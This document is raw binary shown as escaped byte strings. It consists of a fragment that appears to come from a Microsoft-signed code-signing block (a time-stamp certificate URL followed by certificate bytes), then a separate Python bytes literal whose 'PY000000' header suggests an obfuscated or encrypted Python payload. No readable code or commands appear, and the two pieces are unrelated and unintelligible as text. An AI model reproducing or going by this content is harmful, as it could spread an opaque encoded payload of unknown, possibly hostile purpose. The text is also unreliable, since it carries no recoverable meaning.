"http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0!2es8\r\xc9)\xf8@U|\xed\xd0\xb7\x1f\x9e\n\x977\xa9|fl>\x9be\x8a\x92\x00d9\x91\xd7@\x9e\xcaK2\xcd\x06~\x81o\x88\xfa#"\xe8\xf1\x7f\r\xd5\xa1\xcc\xb8Y}\x12\xb6\xc7WyM\xf7V\x88\x8f\x08T\xda\x03\x80\xdf\x9d\xc6c\x89\xa9M\x0c\x94\xc2\x8f\xb8\xe0\x03J\xc5\xa5`\x1aWtd\xa0\xce4\x02h\x13\x06\x83\x90\x86F%\xb1\x8c\xa9\xae\xbby\xeb\xf3\xd0\x1ak}\x80\xb8\x8bD\x19\x14Q\x94\x85I\xcd|W\xec\x92\xceC3\x00S\xa2\xf7n\xfd\x9a_%\xb1D\xf4\x1a\xdb\xd1(.\x9c\xfc\xd7\x880S\xb7\xf0\xf4\xfe\xaem\x1a/\x8e\xd8~+\x15\xb0\xba3\x06\xca\xb2)h\xc2\n]\xd4\xe0\xba\xa2\xb1\xa1t\xef\xb3\xb9\x94\x08\'\xed\x92X\x94d4\xb1\xdf)p\x010\x9af\xcf\x7f\xd4\x9ez\x99\xa7py\xf2\xc2\x18l\xf6\xeb\xec\\\xec\rR\x85\n+82\xa3\xdc\x8f\xb7\xc1y\xa8S4[\x9eTCL\x9cy\xd9\x87\xb5\x8aE\x02\xee\xb7\xc8b4\r\x01\x945\xae\x12Q\xaa\xd7\xa4\x82\x90K\x97Y\x16e\x8f`\xca\x89\xad_\xbf\xc6G?S\xff\x1e\x02\x8ah\xc5\xabt\xe2\x9d\xebq\xe2\x85\xbf=\x1e&\x9c@\xe8\x0b\x86\xa0\xb6Y\xef8\xd9\xaf\x11lga\x8b\xdf\x0e\xa5\xdb\xf2J\xa2(" "b'PY000000\x00\x03\r\x00\xf3\r\r\n\x80\x00\x01\x00\x08\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00\x9e\x80\x00\x00\x12\t\x04\x00=\xbd\xac\xc4\xd4z\x0b[\xae8\x9e\x1d\xcc\xad\xc8\x19\x00\x00\x00\x00\x00\x00\x00\x00\\F\xe0\x06\x14\xed#Y\x91`(\x8d\x82\x00\xc3\xd3t\xef\xbdI\xb72\x0c\x80\xa2{\x90\xc6\xcd\x96\x8f\xc78\xd7\xe5\xea\x1d:\xe2\xfc\x8b\x98\xcdv\xdf.u\xd5\x17jz\xb6K\xfe\x1a\xfa#\xe7\xf6\x8eq\xa7@\x90\x1f\x8cX\xf6\xab\x1e\x87\xf3\x8a\xebJ\xf4\xdf3\x08\xba\x86w9\xfc\xba\x81\xda\xb23\x95\xbe9]\xd8\xc5[\xa2:\xf8H\xb4\xa9\xfea\xd4\x91\x9aT\xce\xd5\x9c\x11\xe1\xad%\xc4\xa8N\xa2\xfa\xc6\xd5M\xd9\xb2+\xcf9\xfenV\x05r\x9e\x9a\xd6\xf4j i\xd6\x9c\xe3\xf5=\x9f\xd7n\x95\x18f\xa7;U&\xf3\xfewR\x98\xdb(^\xc4p\xc8\xd6\xd38R\x8b\xcd9}V\xc8e\xcfG\\\xcd\xb3\xe1e\xdb7\x7f\xc6\x9fx\xa6\xcco{\xb4I\xde\xf8\x96+|\xe2\xf2\x1d.\x12\x1fOfX\xbd\\t\xb6\xc1\xfa\xb7\xa9\xa7B_\rG`/j\xaf@-\xa6\xa6\xd3\x14*\xf32P\x9c\x8ab\xb0\x01=\x06}h\x8et"\x86\xcb\x8eD\x97\xd5\xa8c\x19M\xafxP\xdcQ\xf7\xaa4\xfc\xebP\xe1\xad+\x05\xd6ROL\xf0\x18\x8b\xb1\xf7\xd8\xed&U\x07\xa8=I#/\xf4\xb4l\x04\x0b<\x03\xac\xad\x8dyC\x06dqn\xa2\x08\x94\xd5\xc7\x08Q\xce\xee\x1b\xc0\xd7\xa5\xa0\x12\xd5\x8c\x84\xd4\x9f\xfas\xd4\\gI\xce6\xc6\x93\xbbq\xf2\xbcL0\x85\xa7\xcdx\xac\xac\xb0\x83J\x0f\n\x88@&\xdc\x04\x1b\x98\xcc$\xc3P\x0b\xc9\xc5\x1e<\xe4\x1d\x1e\xe96\x0e\x83\xc4b\xbf\xf7\xb2\xfd\xb1\xf8\xf7\x8a\xcf\x12\x02b\xfdM\xf6\xbc\x8e\xceh\x97\xa8\x84)S\xe2&\xe4\xc8\xea\xc4;M\xff\t\x1d\xdbg9\x7f}\x0ej-G\xd0 H\xeb\xcc\x83\x0e>*5\x1f\xb3\xe3G\xdb\x87\xeb6\xac\xe0\xf3J\x18\x19\x81\x81u\x89\xd4\x10y#\xd3yH\xac\xfa\xf3\x8b\xe7\xfb\xef\x86\rj\x11\xf9@\xb9wf\xf4X\xe4\x90\x9b4\x07\x86t\xfa\xbe\xfc\x00h\x96\x06\xe3w59\xf3*\xd8r\x05l\xb9\x06\x17)5\xcc\xfbm\xca\xf6\xa1\xd8@\xec\x03\xc7])\xeb\x91\x1e\x82Y>+B\xabW\xcd\xc2g\xc3\xf8@\xba\xc8\xe3\xb8\x00\x97\x8e8d\x9aR<\xf7\x1c\xea\xf8\x9daov\xb8\x19\xd3\xd0KCE\x1a\x13\x98\x07>!hB\x11\x0f\xb4\x84\x87\xd6\xaa\x12\xa1w#d\x03\x03}-\xd0\xe0j\xd1YeL\xb9\xed;\x92\xd2\x001\xb89\xcf\x86\xd5\xaeL\x1etJ\xe8;\x17\xcf\x06\xe3\x98\x96\x90L\x0c\xc4\x9az\xa7\x1e\xbb\x10=\xed\x88"\x1f\xb4\xb5}\x1c\xc6Q\x81\xe86\x14\\n\xb1\xed\xa8\x0e\xe4\xffH\xacmT\x8d7r\xc0\xcc\xe4"\xec\xdaJ\xee\x88\xc1D^{\xa2\xeb\xbf\xa1\n`o\x0b&.8\x97\xba\xa8\x8c\x98\xa8\xd0:\x890\x8cQ\x00\x13\xcbB\xcfK\xea3*\xf3y\xbd\xb5\x8e\xf6\\; \xe2`\t\x91\xd2\xe1\x99B\x80[\xc1\x0c[\xb17\x18\x19\xad\xe9S^\xed\xda\x8cMMV\xf5}\xad\xbc\xabF\xa0v\x1c?c\xec9Z\x89\x11\x9e\xfe\xf1\x023\x8f\x90I\xfe\x0bjM\xaf\xffi\x12\xe8\xa0q\x8a3\xe4\x84,\xd3-\xc3\x8be\xe4]\xc1~:G\xb2\xb7\xee[;\x85\xf8M\x94:T\x88\x7f\x10V\x86\xd1\xddB\xea\xa3p\x18_w*\xd73\xb6\xe3\x87\x98\x18JI\x7f\x1d\x15\xaf%u\xb6\x02\xa4C\t\xc7\x08S\xdc0B\xda\x07\x06\xaa\xc5\x1ew\xf2P\xcb\xad/dR\x01\x88\x92\xd0>\xd9\xcfH\xb3=Bx\x9f\xf5\xd7\x00\xed\xccI5\xe6t\x13\xd4\x8dXX\xb5\xfc\xc8k\xdd\xa2G\x8e\xb8\xfc\x1c\xd1\x9d_\x1bA\xc5\xb0N\x84Dm\x8d\xb75\xd8p\xc1a\xddC\xa7\xff\xd8\x9f\xd0\xabd>\xf1`Q\x9b\xb3\x06\x7f\xee)\xe1\x03\x7f\xb0\xee\xb1\xd2\xe8\xebX\x92)\x19>\xa2Ao\xf4\x90\xdb/r;\x18\x98\xfa\xdc\xbe\x01\x04h1\xb3\xf9\x18\xcb-\xc8.V\x85\xea\xb7\x06\xe6\xbb \xf4\xa9I\xcd;\xc4\x0f\x86\xf3}1\xc7\xef2\x08\xd1\xe7\xd4r\x91\xf2\xd7t\x9c\\\xae$\x86\xc5\x00/A\xf8\x98k\xb0j \xed\xb7X\x9c\xd1`\x02\xceK\xd0\x03S\xda\xbc<\xbaf!\xa5F\x8a\xe6U=\xddV\x05e\x97\xd9\xc5\xe6*m\x8eU8\xad5 \xaf\x9e.5H1g\x9eC\xf8.\x17\xde\x95v\xfc\xda^\xaa"e\x7f4\x91\x92\xe7}O\xe5Q\xc0\x0cx(Q\x01\xfd\x91C:b&\x91V\xd4$\xbd\xb6\xed\x0e\xd3\xb9MT\x0e\x00\x9f\xdeviy\xe3\xc5\xc8\xe0\t\x84{2\xca\xee>\xe0\xb7* \x96\x8f\xe8jn\x0b2\xa9A_\x90\xad\x11\xe0\xa8o\x9b\xfd\xb7\xb2\xd4}<\xd8\x0b\x8cJ\xb2\xa9(\x08\x99\x8c215\xbf\xd8\x9e\xb9\xe4\xb2#F\'\xc2\xcf\x1a\x8c\xbb\x96A\x0e\x81\xc40F\x1e\xea\xfc}}\xc4B\xdb\xca\xcd#\xebR\xf9\x13\x9eu\x00\xcc\xdd\xf2c=\xf4\xe6\x1e\xb2.\xe8A\x8e\x17\xef\x07\xc3t\xd0\x97J>\xf4<\x95\x08\xaf\x8f;\x92/\x15\x17\x1d\xa5\x97\xba\x9dG\xdc_<.\xce\x1eX{"Z\x1c\x17\xe7\xe8um-\xabI\x98}@c\x8b\xa0/8\xfb\xd0\xfbD\xab\xbe\xfeKTR\xa4w\xdb\x86\xf8 \x0eZ\x81\x1e\xb0\x16\xf9 -\x9c\x1d\xce\x075)}\xd0\xc6$\xfa\xec\xcdI\x8cf\xb5\xce\x05\xdc\x86%\xe0\xe6\xe7\xeb\x11\x92\x13S\xffQ\xe7\xc3\x04W\x10\x80Lv\xc4\x89\xa7\xe1\x99o\xc3\xc5\x7f\xd8\xe1\x0ex\xdc^\xe4\x94D\xeer;\xda\xaa\xc4\x19}\xce\x9e:\xcb\x90V\xe1#K\xa3\xe1&^\xce-\xda\x8c\xcb\xe8\xac\x02\xce\xd9\xc0\xc8\xcd\x89Y\xd9\xe7\xe9\t\xec\xdd\x9b\x14\xf3\x87\x15\x88\xd3\x13\xa7M\x17Y\x94\'A@\xd4&\xf6c*\xd2\xa2\x9c\\\xf8\xc6H\x86\xf4\xdac\x85z\x13\x7fJ\x1bcF\xdf\x0e\xa9o\x7ff\xb1\xfe\xa7E\x10\xb6T6[\x11\xae\x8bT\xbfw\x0cw<\xb9\xdc\xa0@\xc9\x80\xdej\x19\xca\x9f\x97\xe1T\xe5\xfe/\x07\x8c\x82\xe5\xe1x-\xab\xde\xedA\xf6\x19\x00\xb3:)(\rHI,\xf0\xff\x87\xd4\xf7j\xf7_K\x82\xee^S\x08\xd9\xf0\xee_\x93=\xff\xe5\x17B\x11j\x80\x03:N\xa6\xe0r\x06n\x97\x9d\xa5\xfa] \xf9\x82\x16\xc5\x04\xb7\x8a\xea\xa1\x98N\x0b\xed=\x87NzW\x87K~[\xd1\xf9\xc3\xba\xf2@|\x91\xefx\x10\xf4\xb8\xb1\xfa\x14w\xd9K\x87sU\xdc\xfa\xdb\xb2\x19\x8e\xcc\xfa\x99\x10B\'\x9eE\xd3E\x81\xb9\xbc\xd29\xb2o\xe0\xdc\x0f\xdb\xa7e\xefqt;w\xe0\xa2-\xde\xa03g\xe3\x95\xc3g\xbf\xdc\x1b\x87\xa4$\xeb\xce\x7f\xa1Yv\xc1\x15\x90\x93%\x08\xe41i\xe1\x83\x11\x1b\xd5=\xfd\x07^>\xdb\xfd*\xdb\xd9\xfcFo#\x97\xbb\x8c\x91\x02\xe30\xb4\'%\xf2\x8b\x8a(\xee\xe6L[;\xd6~\xa0/\xca\x9bx\xf6\xc13\x8f\r\xb3\x8a\x07\xf1\x82\xabb\xb7\xd1\x05\xe9\xd3[h\xc9\xa2\xcf\x19\xe8\x10\x8f\xd7-\x94\xc2Cv$\x9d\xe8\x02\x92\xbaUt\xb5@E\x14\x16\xd8M\x9c\\\x92V&\xa8A\x1e\x9f\x8b\xb1k\xaf\xb3\x8a\t\x17\xe3\xc8\x19\x92\r7\x9c=K9BF\x0f\x1a\x92\x0b\xbe\xb4\x9f\xef(\xda\xb3\xfdWl\xd9l\xe1\x99\xa3\xe5n\x80mxB\x93\x96\x96?\x9a\xc9\xe0\xdf\x10U\xeb\xe7\xdf\xf4N$\xce\'\x81y\xad\xbc\xa9\x11\xb6\xfb\x8ed\xbe\x12kW\xaa\xbc\xbb\xbe>z\x03\xc8\xf8\xd1\x0b!\xd6+!\x1c\x86\x18q\xe35\x959\x11&\xaf71\x9e_\xf3\x9f\xdb\x19\xf6\xbf\x1a\xde\x17\xa9\x1d\xe6\x15&\x07K\xeb\xac\xe6R\xf1\xecR\x9an\xa9\x87\x98\x1f!Z\xfc\x81A\xe7a\xd0"\xab\xeb\x13\x86\xb8QV\xc4\xd5\xdc\x90LD<5\xe8\xe7o\x87\x13\x03\x8bU\xd7\x9by\xce\xb3V8\xb33_\x9b\xac\xa8\x80=\xd5\xfb\xa2\xb1\xd8\x85^\xaf\x944\x9f\x16\x06N\'\xd9_\x82\x83\x9e\x94\xb2\x02-:\xa1\xb7D\xb4\xdf\x01\xf0\xf7\xc9\x81\x11\x0e\xa3\xe8\x91\xdc\xfe\x8a\xd6\x9e_\xd3\xd9\xf9\xb0\xcc\n6\xa6\x81\xd5L/Xm\xd8\x80]\x94\x159z\xd4\xc5\x90\xa8\x15 n\xc3\xf9\x19H\xade\xe2w[\x85\xf8mv\xd3B"\x1e\xed\xdd\xac\xe4\x07\x88\xe4p%\xaa\x85\x00\x1c\xc1\xdc\x84\xeaY*\xea8\xa2\xd4\xb0\xe0\xc6]A\xdagz}T\x92\xbd\xf6\xf1;\xd8\x89\x93\xc4\xba~kZ\xc0G\xbcz\xd8\xa0\x03\x97\xfd\x8b\xe9\xf4-w\xfa\xe9\xef\xee\x1e\xfd\xa4\xccV\x14\x9e\xb1o%\xe7ML\x98w-\xb5X\xdc\xe9\xb0\xec\xfaR\xa3X"\xf1\xe7\xb3\xc1K\x80\xf2\xc3Oon\x17<\xf7\n\x13Gz\xa0\xb8}\x11\x85\xf4`\xd0\x17\x94\x82\xcd\xf8g\xfc\x90\xc1-\x0c8d\x1e\r\x17\xcf\xae\xdc])\xc8I\x08A\xb5\xa1\xbfO\xd5:{3\xb3\xfff\xaa\x80\xe5p\xd2\x02\xb2"\xd9\xd4\xeby\xed\xcd:u(\xac\xef\xe7\r_\xc1\xd4\xab\xd2\xdb\x03\xe9f\xf2\xe7l\x83(\x93E\x7f]}\xd9\x10b\x0b\xb8?x\xae\xfa\x9bi8\xce\x9a\xb2$NP_\xb4Ks;\xd0\xee\x82VD\xc3\xe1\x9d\xc0\xc2t\r\xdf\x04H\xaa:\xa1b/\x1e7M%\x8b\xf92\x83\x1a\xcdWr\x87\xa2\xcca\xd1-O\x0b\xc1$\xbcl\x0f\x0ek\x1ec+[w\x8d\xb9#"^\xba>\x98wL-\xab\xe0\xdc \xa0\xe9J\x8cu\xc6\xc6\xcf\xb54\xb5S\xfa\xaaD\xf0\xd5Le/6\xbc\xb7\xce\xcb\xd3m\x85\xe79\xfe<\x1d\xcc\xb4\xd4\xe0\xcf\xaa\xc1[\xb2\xf1\xaeA(\x16-\x87\xe2:\xb3Y\xadDWi6n}z\xa5\xfak\xa5\xae\x1f\xd2\x91\x94\xee+MMYB\x99\xec\xa4\xc8]0k\x046m\x14\x1a\xb0\xea\xa7(U\x98/\xbc\x8b\xe8m\xe4\xc0\x05VP\xaf6\xd4j\xa3]2S\x05n\x84\x16\x96\xfdx\xd7\x98)Pk\x05\xc3A\x90\xcdg\xa3?:\xba\xe4v\xe4ct\x1aa\x81\xc3\xb7>\x90\x03\xb1Y\x9c\xcf=j\x9d\t8\xaeH@Mt\xfe+DO\x05\xc6\xdbk\x19\x18\xac\x94\x19Up\xa5\x97\xfd\xd1\xcc\xe1\xa4\x0b\x82\x88(6\xb4:\xe5\x11\x1f\x89\xe4\xacI\xe4\x1f\xfdq\xa7\x9b\xf3\'\x98_\xca\x9d~\xce\x84\xbc\\\xf6\x1b\xccB\xe3\x97\xd7\xa6\xc9)p\xa3_\xaf\x1cA\x90\xda\x8e[\x9a\xd4\xbee\xc7\x99s\xfd\x9d\xd1[\xa2\xb5\x7fef34If\xde\xa6\x1b\xb5{{\xdb7*\xcf\xb7\x83Kk\xcfF\x1c\xe4|>&\xd5\xccz\xa5 \x9f\xd4\xf2n\x85Y\xc73\xf8\x97\x0c\xdaJ\x9c\xcf\x98\x04\xc9\x81\xd9\xe0\xa7\xc4_v_\xfcP\xcd\x9d=\xaf\x02iw\xfe\xc2]\x97\xbf\x86\xff\x94\x10n2\x1a\xf7\x10\xda\xe2\xe5\xf5\xea\x14u\x95J\xf8!;\x91\xda)\x93\xb55\x12e\xe6vH$hM;\xc4\xdfu\xe1\x8a\r\xdcF+t-\xde3L\xf2%[\xf9K\xf3\x97\xd7E\xb0d\xaa\xee\x0eW6\x08hj]\x7f\xd7\xd8g!\xa3\xe8\xf0\xd3\\#\x04\xd1\x8c\xac\xad\x01$\xe0\xc3\x95\';\xf6\xdb\xdej~\xcb\xb2{0\xedMw\xa3~a>\xad1Z\x1e\xc9QO\xa2gCS\x81j\xdd\x8a\xf7\xd2\xd2\x96\xb8O\xf6\xe1I\xcb7\x9e7w\x110g\x8at\xd1O\xab\x0eQo@\xbc\x90\xe3\xaf]\x81v\x90">/\xdf\xd7`q\x08\x9b@\xcf\t\xab\xd1bqYiAx\xbd\x99\x8f`_\x93\x96A~\x01C\x04\xc9\x8f\xa3QQF\xcd1\xf9\x9b\xd6\x85\x0f3\x1cw\xc1v\x9b\xa8{\xa6T8*\xf7`\xcb\xbe\x13\xb0\xfa\xa7\xef\xd7V\x9fZ\xe4\x1b\xda\xd8\x1f\xa9\x18=\xd3\\\x13\xa91\xce.\xacA\xc2\xed\x9dy\xbb0\x1a\x00\x7f\xa7\x88I\x80\x1c\xdf\x9d{\x13\x8d3wR\x89\xbc\x04z\xcf\xd4\x059\xd1\x0c\x07\x86\xb1k\x10\xb13\x0f\x06i\xeb\xd5"\xe9\xe2p\xd3@\xc3}qAG\x17\xd7lW\x8aB\x02Hm\x92}\xef\xa9\xa0\xea\xd9\xf0\xce\x84\xe3c\xa6\x8ep\n1z\xb5\xb5<\x85vr\x14\xb8\x9f\xe6\x04\xea^+d\xd6\xa5\xf8|G\xf3\xe7\xcb\x170\xf3.\xa4~\x16\xbd\t\xf1\xefV\xd5c\xc3$z\x0e\x1e\x0c!\x16D\xdd\xd4\x19\xf3)\xf5kz\xeej\x94s\x08\x1e\xba\xcf\x80f=\xd4*\x95X\'4%\'A\x01|\x87`\xcd\xe7\xc0\x96GW\x08$A\xe5\x96-\x80\x1c\'\xf1\xc3\x14\x84 \xe0\xf6-\x1d2\xc2\x07\x196\x1fn\xc4D\x10\x95\xbb\x8b\xb8\xbb\x8c\xf0\xe0\x80\xf0A\x91ie\xf0\xc1\x12~\\s\xe2\x9e#\xa8f\xc8\xe5MB\x03\xa8\x0f\xd5\xf3\xf5\xf1\x9e\xaf\xffd\xa8\xa2\n^\xa4ND\x1f\xfd\xcdX\x93\'\x854\x8a\x0bpz\xa1\x93\xc0\x99\x8e\xb7\xae\xb7\xff\x1d\x8fr\xbcU\xa3\x1c\xafA~\xec\xd5\xf4G\xe2!\xf9\xa6\xca\x90\x98\xd2:x\xe2B\x95Y\x88\\\xfbJ\xda\x07$n\t\xaf\x8cI\x17K\xc6\x85\xd9\x8a\xa9\xbb\x96\xfb\xdd\x8a\x84}N\x9c\xc0\xbb\x8d:rQo\xdc\x84\xc7&y\x99W\x8f\xa0%\xaby\x18\xaa\xdc~\x17>\xda\xe0L\xa5[\x02\xf8f~\x832\x0076\xbd7\xa664[\xce\xfd\xde\xaa%$N\xd8\x06\x9f\xb2d>\xfa\x80\xf6\x83\xd9\x85G\x11\xc5\x0f-\x85\x15o+\xcb\xb0\xd5fF\xe0\x9cM\xcf\xe8\xfb\x91\n\x02\xebW\x05t\xc4\x02\xaeJ\x91\x02\xc4\x12SZ\xc5\x90\x93\xf4\xb2V\x96\'\xc198\xb6\x90\xfe\xa9\xc8\x1d:\xbbv\xf2\x15\x8c/\x84\xfdF2\xb2pD\xcd\x1b\xbd\xb5+\x87\xf1e\x99\x08\x0b\xf1 \xa2\xaf\x97Hz\x93{N\x96\xb1\x0c+\xb7o.\xb7\x0e!\x7f\xe0h8\xfdk\xbeQgV\xd1D\x99\xdb\xfa.M+\x8d\x16\xc0+\xe8\n5\x15?\x85F\xab\xc9\xeb\xea\xb2\xec\x00\xadl\xea\x0c\x98]\x10\x1f5[\t6i\xb2\x91g\xec\x1b\x81\xc49\x8f\xd3$C\xbc\x95\x94\x0ft\xe8o\xcb\xa75,\x0f\xa5NH\xc6R\xc2\xd3A\x12\xfc+\x93B\x0e|\xf88\xed\xff\xa9\xed\x85\x1dJ$\xaen[\xd8\xc73\xdb\xddwB4\xc4\x8f\xb3B\xd1-\xf5\xd5o%!\xa8\x9c\xcc[S+f\xe9*-\xdf\x8e\xf5rd\x88[V\xde2\x08\xed\xc2/\xa1g\xb2\xc3\x04dp\xe7\xae\x1bU\xf5\xeb-<\x98wX\x95c9\x0f\xc3\xaa\xe2\xc9\xf0\xc6\xc3FvQ\xe4`NT\xc8\xe2\xb9\x9e\x80\xdc\xbd\x9f\xe9>e\xe5\xa0\x05A\xb6\xae\xab\xeb\xb5%6\xa8d\xeba\x8b:)a#\xb5\xc8\xe4\x97\xd2Kp\xc2\x8f\x11\xb9\xdd\x9e<\'Q\xf2\x97\xe1\x8e\x98\x05\xe0c\x8d5q\xa8\xca\xca\xbc\xaa\x15L\xda[S\x05\xce\x93\xeeJ\xe4x\x1a\xe1^\x19h\xea\xf3\x8b9\xea\xb4\xf9\xe4\x86I)u\xac\x1a\x02\xc1\xf9\x16l-\xf0\xb5*\xcb\x0175\rv\x01GS0\x8c-\x82\x97\x9dHLz\x1f\x86\x9a\r\n\xe6\x1a\x8cw\xc1\xe9\x87\xd9\xd1\xcc\x8f\xa4\xf8\xe6\x88P\x8e@+R\xc2\xf9\x84\xa9(\xa3/+\x05\x06R\xd64\xf1\xd6-\x00\t\x18b\xcbA\xe0v\xfb\x8f\x86\xd1\xc9\x8eE\x1d\xe7\x19/\xe8\xd2)\xd9\x01\x9e$Y\x08B\x1b1\x08\xeaw\xd3X{\x80\x98z\xb5\x0cN\xe6\xd0s\xbem\x9d\xf7\x1e\xda\xbda\xad\t\xac_\xd4T\xa8jHkS\xd9\x06\x0b"T\x13 \x89\x00\xbc\xbdq\xc7g\xad\x81\xc3\x95\xce\xa7>_\xcf\xad\xf2\x93\x85F\x95\xc8\xc1hH\xfb\xdc\xc1\xc9\xc3\x88\xc8y\x15\'\x02\xa2\x1b\xaed\xd8\xb0m\xb4=\xc9\x85\xa8 \xd5\xbbl\xdc\x08\xa2\\\xdbh\x9c\xf4U3\x8dV\xcc\x8e\x0f\xf5\xb1\xe0\x1a-.\x0f\xcb\x96>"J\x9c\x07\xd1\x8dF!:\xe9_\xb5\xaa\xa8h6wJ\x8b"\xd0\x8ce\xa6\x13\xa6\xec\xc9\xebIm\xd7^NW\xd2\xad[@\xab,\x88\x86\x10\x88[\xa2\xb1\x04\x8c\x86&rE\x91Y|j\x81\xb8t4\xde\xd0\x00\xf5\xc57&\x1a=\x0c\x82\xb2F\x1c\xd0\x81\x06}y\xa5\xad\xb2!\x15\x80\x07\x8e\x91\x8a\xff\xa7\xc1^xM\x8aH\xd2\x00\xc6\xf0G\x16E\x80\xfe\r5\xcc\xdau/\x85Z\xbd\xb1\xa8\xba\xeb\x90\xc5\x1c\x98x\xde%\x8b\x12\x08\x9c\xdf\xdb\xd7\xa6\x06\x86N\x02\xd4\xc6\x1eP\xd0N\x93\xd1\x0fIl\xab^\xef\xbd8A\x8b\xe8N\x8f_~?\x00\xea\xe2\xdc\xb6\x85\x8f\x9e\xeecj\x91\xc1\xb0\x08T\xfd\x87n\x1a\xe6\xb0\xbf\xaf|\xa3:?\xfe\xaf\x9d\x7fF\x936\x83k\x8b\x80\x9e\xd8;\x8d\x85\xae$d\x8d\x1b812\xde\xb0\x98\x99+f\xc2\xe3\xfa\xe5\xec\xee\xc9\xeeUC\\\xa6\xc9\xc3S\x9d\xfe\xd98\xa7\xbc\xc2\x10\xf3A\x97\xb4\x02\x00\xf8\x9d\xb7\xdf\x0b\x03l\xa0\xfdV\x1e\xca\xa4U\r\x01*\x7f\x9b\xd3F\xaa\xdf\xd3H\xf9\xddw\xeb\xeajw\x03\x1a\\\xd4\xd6b\xf4\x1d\x06\xc0\xc2\x04j\x19~!\x17\xc6Q\xb19V9>\x94*Bj\xbfvT\xc4\x93\xee\xcee\xc0\xe7\xe2$TR\xfcR\x82\xb2.U\xaf~\xbc\xa6"\xd2h\xeb\xe2\xf9!D\x0f\xfc\xe4t\xd3\xc8\x1f\xc9\x97J\xf1Fz\x05\xf4.P)\x86\xde\xd5\x14\xd2Ix\xa3U>\xba\x02\x85\xc2\x08\x14\x88\xa6\x07|\x85\x91\x86REbI\xf2/7\xdb*\xd6I\xb8\x11\xb1\xe3\xae\xb9 \xc6\xb2\xecy\x13p\xfe\xa3yXV\x17\x04pu\xdblP[\'\x9e\x91\xd4\x8c\x15\xeev\x99\xb9o\xa7E\x86\xb56\xb0I\x05\xa9\x81\x9ej|3\xff\x82m+\xd23\xbc\xaea\xc6K\x82\xd3h-[\xc1Qk\xb1\x8eY\x7fc\xa2\x05\xd3\x99\x92\xa8c\x00\x12\x15f%1\x01\xee7`\xeaWk3u\x00\xed\xb8"\xd5v9\x06\xfd\x92\xe7\x0bg\xba\xa9\x1ex1T\x9cT\x1e\x92\xb4\xd7s\x95\x92D\n\xed\xd1\x14&pH\x8f\xf8\x07a\xe1\xdd\xb0\xadKFm\n\xf0_H\xbc\x84\xd9\xf6\x8f\x8c?\xc4u\xc2\xa7\x92\x8by\x97\x81\xff\x80-\x90\xea\x17\xcc}8\xe9\xb7\x1eSC\x9bGV\xff\xfb\xb4\t\x95\t$d\xea\xf0\xef8\xeeC\x99\xa0\xb2@b21(\x1e\x8b9\x90S\x92\x144\x8d\xe4%c\xda(\xc7\xec\xd92\x0c\x00\xee\x98\xb9\x8a\xb5b\xff\xd3\x03\xb4\xb6i\xfd3\xd3uQ\xf1j\xd0Ap\xbd\x0e\xb0\xa7\xda\xea\xb2E6\xbfD\x1a\xe2\x88\x8c\xe1N\x08\x8a\x0e\xa0\x0c\x91\xb7\x8e\xbf\xad!\x86\xf0\xf1\xbe\x08Bk\xb9\xdaj\x02d\xeb\xae\x1e\xb4|e\x16\xbb\xf6,A\xeb\x9c\xa2\x1a\xed\x18\x8a\x17\x1a\xb0q\x13mg=\xea,\r\xa4\x1b\x9cL\xf3\x9b$\xbce\xf0\xcf\x1beo$\x00\xef\xc2c\xfd\xd9b9\xc5\x19L\xf3\xcfh\x08\xe5\xf1ud\xd6&\xe6\xeb_\x95y\xaa~\xe44py:\xd7\x85\xd5\xa4\xc5\xe7bo\xdd\x96\xc60\xe7\'\xe7A=\x0cn\r\xd2W\x8c)\xa9\xed\xe3*%\xfe\x0f\xa9\xc9z\xe8\xaa\xa4\xd5\xfd\x8e\xb0\xdc\x83\xda\x97~\xc7sK\xae)\xe6ok\xd6\xac\xbdp\xdchA|\xa4E\xca\x13\xb1Hw\x89\xdf\x0f\xf7_)N\x05\x9d\xcc\xd3c\x1d&\x9ch\xdab\x85\x94\xb0\x97{9\x82\xff\xd5\x0e|mI\x8b\'\xbfC\xb2W\xf7u\x11yz\xb3[>/\xef\x89\xf4\xe9\x19\xa9Q\xcf\xf4vw\xa0"\xc7\xf0\xef$\x9a\x10\x9f\x13v\xec\xb6\xbb\xa8\xf2\x82\xc5u\xc8\xdc\xc4Qk\xdc\x07\t\xa7@Bt\x07\xf8\xd6B\x9d$\xd5\x9e\xfc\x86O\xbc\xf2OW\x8fF(\xd6\xfb\x92\x87\xaa<\xfd\x1a\xee3\xd4\xdfc\x0b\x92\x04\r5T\ry\x08\xe2Qq\xa4hR}\n\xbb\x048\xca\xf1\xd4\x93\xe2ZKo\xabx\x9c\xe9\x91\xa8\xda\x7f\xe9\xa7N\x93\x02\x9b\xb5\x9ab\xc4\xb7\xf3\x96\xce\x91\x1d\xacV\xd6a\x0c\xd8;\xddu\xb6\xbf\xcc\xf1\xcd\xf1\xb1\xe6\xec\xc4e\xcc\x8a\x1d\x97YXU\x1b\xa7W\xc0\xc2\xd4\n\xdd\x99\xe8\xef\xc1\x99}c\x8ec\x1d\xd4cn/\xe8Q\\\xean\x1c\xcfbP\xbb?Ij\xb1\xa7\xfd82w\xbb\'\x1a\x83\x8f\x1c/\x9fA@\xe1\x8dW\xce\xf4B\xe1\x8dU\x9e\x11\x89\xac\xa0?\x93\x0e\xec\x9d\x1a\xd2\x85J\xe8\xc8\x95FE>\xf8\xcf\x1d@4\xb9\'\xe2\x14\xd0*X\xf1\xee\xed\xc2!\'\x9d\x8am\xd5v\xca\x02f{\x1a0\xdc:)\x88\xf0\xa8[R\x1f\x08\x99\xe8\xc0\xca#\t_u \x03\x06s\xa6\xba\x1c\x9f\x8e3P\xbc\x83\xf1\xee\x15\xf90\x1dH\xc0\x07\xb1 e\xb9\xa1}\xd3\xdc\xe9O8\xach\x90{\xaeZ\xb7\xfc\x18 \x18\x08{\xbe\x12\xa9\xba\xbcG 